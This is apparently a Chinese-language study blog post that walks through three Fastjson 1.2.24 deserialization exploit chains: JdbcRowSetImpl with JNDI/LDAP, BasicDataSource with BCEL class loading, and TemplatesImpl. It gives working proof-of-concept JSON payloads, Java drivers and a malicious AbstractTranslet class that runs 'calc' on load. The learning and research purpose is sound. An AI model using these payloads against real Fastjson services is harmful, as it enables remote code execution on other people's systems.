学习的过程中对 FastJson 反序列化调用 getter,setter 细节条件又多了些印象
一.前言
学习了 Fastjson 基础后先说说原生,和 Fastjson 的反序列化区别
- 入口点:原生:readObject(),Fastjson:parseObject()/parse(),他进行利用的连接点是在 setter/特殊的 getter
- 属性限制条件:原生:受 transient 修饰的限制。Fastjson: public 修饰/有 setter 的私有属性都可以,也不受原生的限制
- 实现 serializable:原生:需要,Fastjson 不需要
相同点:
攻击的 sink 点:反射命令执行/动态类加载
二.利用链分析
2.1 出网的情况(结合 JNDI)–JdbcRowSetImpl
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.9</version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.12</version> </dependency>
|
1. 利用链分析
这条链子它是相当于 Fastjson+JNDI 注入结合。从调用的开始 FastJson 的 setter 方法,调用到可利用的 sink 点 JdbcRowSetImpl.connect(),该方法调用 lookup,能进行 JNDI 注入。

上面 dataSourceName 不为空,才进行 JNDI 注入,那就要看参数 getDataSourceName()是否可控,并且要传的话就是传的是工厂的位置。跟进发现 dataSource 虽然是私有属性,但有 setter 方法,那么就是可控的。(JdbcRowSetImpl 子类继承的父类 BaseRowSet 的 setter 方法)


继续向上找调用,还是在 JdbcRowSetImpl 类里面就有调用,经过前面的学习,直接就看 setter 方法 setAutoCommit 里面。进行调用了 connect(),参数为 boolean 值。setter 方法继续向上调就往 json 中赋值,反序列化时自动调用 setter 方法
2.构造
所以现在就能进行构造了,之前也说过 json 的 key 映射的是 set 后面的内容,value 为对应的方法传参。构造如下:
使用 yakite 反连,进行 JNDI 注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;
public class Fastjson { public static void main(String[] args) { String s1="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/mDCFyUlo\",\"AutoCommit\":false}"; JSONObject jsonObject= JSON.parseObject(s1); System.out.println(jsonObject); }
}
|

tips:
- 需要注意的是,AutoCommit 的逻辑依赖于有 DataSourceName。所以字段 DataSourceName 必须在 AutoCommit 字段前面,否则先调 setAutoCommit,进而进入到 connect 里面,不会触发 JNDI。
总结:这条链比较简单,反序列化时检测到@type,将字符串进行 java 解析,调用 setAutoCommit()进而调用
connect(),该方法通过 InitialContext.lookup (dataSourceName) 发起 JNDI 查询,加载远程恶意类并执行代码。
2.2 不出网的情况–BasicDataSource
添加一个这个依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jdbc</artifactId> <version>9.0.20</version> </dependency>
|
1. 利用链分析
危险方法在这里,com.sun.org.apache.bcel.internal.util.ClassLoader,该方法满足条件后创建一个类,从字节码进行类加载,接着找它的用法直到找到 setter 方法。创建类 creatClass 的时候进行了解码 decode,所以构造时要先编码。


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); byte[] bytes = convert("D:\\Security\\test_deserialize\\Calc.class"); String code = Utility.encode(bytes,true); Object o = classLoader.loadClass("$$BCEL$$" + code).newInstance();
public static byte[] convert(String classPath) throws IOException { File file = new File(classPath); try (FileInputStream fis = new FileInputStream(file)) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int bytesRead; while ((bytesRead = fis.read(buffer)) != -1) { baos.write(buffer, 0, bytesRead); } return baos.toByteArray(); } }
|
接着就看哪个方法能调用跟这个 loadClass,在 tomcat 的一个类 BasicDataSource,有个方法 creatConnectionFactory,当 driverClassName,driverClassLoader 不为空(注意顺序),分别设置为我们编码后的恶意类和刚刚那个类加载器,就调用 forName,进而去调用 loadClass

刚好俩个私有属性都有 setter 方法,可控
构造:
Fastjson 构造的时候,key 值与 set 后面的字段映射,反序列化时调用 setter 方法进行赋值,无需反射赋值。
1 2 3
| byte[] bytes = convert("D:\\Security\\test_deserialize\\Calc.class"); String code = Utility.encode(bytes,true); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
|
接下来就该想上找,找谁调用了 creatConnectionFactory
creatDataSource 调用 createConnectionFactory
然后一个 getter 方法 getConnection 调用 createDataSource。虽然这个 getter 方法不是特殊的 getter 方法,但用 parseObject()反序列化调用所有的 getter


2. 最终构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public class FastJson { public static void main(String[] args) throws Exception {
byte[] bytes = convert("D:\\Security\\test_deserialize\\Calc.class"); String code = Utility.encode(bytes,true); String s ="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code+"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"; System.out.println(JSON.parseObject(s));
} public static byte[] convert(String classPath) throws IOException { File file = new File(classPath); try (FileInputStream fis = new FileInputStream(file)) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int bytesRead; while ((bytesRead = fis.read(buffer)) != -1) { baos.write(buffer, 0, bytesRead); } return baos.toByteArray(); } }
}
|
成功弹出

2.3 出网的情况–TemplatesImpl
回看之前 CC3 的时候,危险方法 TemplatesImpl.newInstance 从字节码中动态类加载进行攻击

刚好是一个 getter 方法(getTransletInstance)调用 newInstance,并且这个过程和 CC3 那里非常相似,_name 不为空,_class 为空,调用 defineTransletClasses 对_class 进行赋值,该方法中_tfactory有涉及到,所以需要它为声明的类型 TransformerFactoryImpl,并且该方法从_bytecode字节码中遍历加载类赋值给_class。有三个需要进行构造



但是这里调用 getTransletInstance 有一个问题,这个 getter 返回类型并不满足,反序列化的时候调不到,继续往上找
找到方法 getOutputProperties ,返回类型 Properties 继承 Map 所以反序列化能调它,找到了利用链的开头
构造
我在_tfactory 这里想了半天他在那里赋值,因为上面说私有属性_factory 它赋为 TransformerFactoryImpl,但它只有 getter 没有 setter———>反序列化的时候用 parseObject(s,Feature.SupportNonPublicField)它第二个参数为Feature.SupportNonPublicField主要用于反序列化非公有字段且无对应公有 setter , 反射机制能突破访问权限,直接对非公有字段进行赋值。
构造的时候这样写 ,并不是说给它赋值为空,fastjson 会把 {}解析成声明类型的对象实例,即 TransformerFactoryImpl 实例。包括上面的_bytecode,_OutputProperties 都是这样子赋值的
写了半天还是一直没弹出来,原来是和 CC3 那有关,给_class 赋值的时候调 defineTransletClasses,该方法从字节码中加载恶意类时,需要加载的类继承抽象类 AbstractTranslet,并且实现抽象方法

恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) {
}
}
|
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public class FastJson_TemplatesImpl {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = "D:\\Security\\test_deserialize\\Calc.class"; String code = readClass(evilClassPath); String s="{\n" + " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" + " \"_bytecodes\": [\""+code+"\"],\n" + " \"_name\": \"FastJson\",\n" + " \"_tfactory\": {},\n" + " \"_outputProperties\": {}\n" + "}";
JSONObject jsonObject = JSONObject.parseObject(s,Feature.SupportNonPublicField);
}
public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } }
|
总结
- JdbcRowSetImpl 该 POC 结合 JNDI,需要 RMI 或 LDAP 服务,对于检测 FastJson 是否存在,是最简单的(结合 DNSLog)
- BasicDataSource 它漏洞利用是最方便的,不出网,不需要依赖 JNDI 服务
- TemplatesImpl 利用是有限制的,需要 parseObject(s,Feature.SupportNonPublicField)对没有 setter 方法的私有属性进行赋值